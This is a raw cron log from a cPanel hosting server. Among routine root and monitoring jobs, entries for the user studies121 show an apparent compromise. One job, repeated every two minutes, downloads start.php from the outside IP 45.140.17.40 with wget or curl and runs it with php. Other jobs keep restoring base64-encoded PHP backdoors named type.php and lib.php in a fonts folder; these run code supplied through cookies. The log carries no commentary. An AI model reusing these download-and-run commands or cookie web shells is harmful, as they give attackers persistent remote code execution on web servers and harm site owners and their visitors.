Sep 22 03:02:01 ip-184-168-122-23 CROND[1271]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 03:02:01 ip-184-168-122-23 CROND[1272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:03:01 ip-184-168-122-23 CROND[1378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:03:01 ip-184-168-122-23 CROND[1379]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:03:01 ip-184-168-122-23 CROND[1382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:03:01 ip-184-168-122-23 CROND[1381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:04:01 ip-184-168-122-23 CROND[1524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:04:01 ip-184-168-122-23 CROND[1525]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:04:01 ip-184-168-122-23 CROND[1526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:04:01 ip-184-168-122-23 CROND[1528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:04:01 ip-184-168-122-23 CROND[1529]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 03:05:01 ip-184-168-122-23 CROND[1916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:05:01 ip-184-168-122-23 CROND[1917]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 03:05:01 ip-184-168-122-23 CROND[1918]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 03:05:01 ip-184-168-122-23 CROND[1920]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 03:05:01 ip-184-168-122-23 CROND[1921]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:05:01 ip-184-168-122-23 CROND[1919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:05:01 ip-184-168-122-23 CROND[1926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:06:01 ip-184-168-122-23 CROND[2116]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:06:01 ip-184-168-122-23 CROND[2118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:06:01 ip-184-168-122-23 CROND[2119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:06:01 ip-184-168-122-23 CROND[2120]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 03:06:01 ip-184-168-122-23 CROND[2121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:07:01 ip-184-168-122-23 CROND[2231]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:07:01 ip-184-168-122-23 CROND[2232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:07:01 ip-184-168-122-23 CROND[2233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:07:01 ip-184-168-122-23 CROND[2235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:08:01 ip-184-168-122-23 CROND[2345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:08:01 ip-184-168-122-23 CROND[2346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:08:01 ip-184-168-122-23 CROND[2349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:08:01 ip-184-168-122-23 CROND[2350]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 03:08:01 ip-184-168-122-23 CROND[2351]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:09:01 ip-184-168-122-23 CROND[2455]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:09:01 ip-184-168-122-23 CROND[2458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:09:01 ip-184-168-122-23 CROND[2457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:09:01 ip-184-168-122-23 CROND[2459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:09:01 ip-184-168-122-23 CROND[2460]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 03:10:01 ip-184-168-122-23 CROND[2580]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 03:10:01 ip-184-168-122-23 CROND[2579]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 03:10:01 ip-184-168-122-23 CROND[2581]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 03:10:01 ip-184-168-122-23 CROND[2587]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:10:01 ip-184-168-122-23 CROND[2588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:10:01 ip-184-168-122-23 CROND[2589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:10:01 ip-184-168-122-23 CROND[2586]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 03:10:01 ip-184-168-122-23 CROND[2592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:11:01 ip-184-168-122-23 CROND[2780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:11:01 ip-184-168-122-23 CROND[2782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:11:01 ip-184-168-122-23 CROND[2786]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:11:01 ip-184-168-122-23 CROND[2789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:12:01 ip-184-168-122-23 CROND[2940]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:12:01 ip-184-168-122-23 CROND[2942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:12:01 ip-184-168-122-23 CROND[2943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:12:01 ip-184-168-122-23 CROND[2944]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 03:12:01 ip-184-168-122-23 CROND[2945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:13:01 ip-184-168-122-23 CROND[3055]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:13:01 ip-184-168-122-23 CROND[3058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:13:01 ip-184-168-122-23 CROND[3056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:13:01 ip-184-168-122-23 CROND[3057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:14:01 ip-184-168-122-23 CROND[3163]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:14:01 ip-184-168-122-23 CROND[3165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:14:01 ip-184-168-122-23 CROND[3166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
